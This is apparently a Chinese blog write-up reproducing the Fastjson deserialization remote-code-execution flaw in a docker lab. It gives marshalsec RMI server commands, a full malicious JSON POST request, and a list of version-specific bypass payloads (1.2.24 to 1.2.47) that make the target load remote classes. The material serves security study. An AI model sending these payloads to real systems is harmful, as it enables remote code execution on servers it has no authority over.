2020-01-29-fastjson复现

一、概述
1.Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
2.Fastjson 1.2.51版本以下存在反序列化漏洞,且存在补丁绕过的情况。
3.fastjon低版本存在反序列化漏洞,导致可以远程代码执行getshell
4.暂无cve编号,修复请直接升级到高级版本

二、漏洞复现
1.环境搭建

docker-compose up -d

环境启动使用http:localhost:8090看看是否返回json判断是否搭建成功。
如下图:


2020-01-29-fastjson复现_第1张图片
p1

2.编译利用代码


2020-01-29-fastjson复现_第2张图片
p2
javac TouchFIle.java生成TouchFile.class文件,接着把该文件放到远程服务器上
python -m SimpleHTTPServer 80
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.64.128/#TouchFile" 9999

3.向靶场发送恶意payload
这里get改post然后增加恶意json参数进去

POST / HTTP/1.1
Host: 172.16.64.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://172.16.64.128:9999/TouchFile",
        "autoCommit":true
    }
}

4.检测是否成功执行命令
观看dnslog平台可发现已成功请求该域名


2020-01-29-fastjson复现_第3张图片
p4

5.不同版本之间的一些payload收集:

1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

你可能感兴趣的:(2020-01-29-fastjson复现)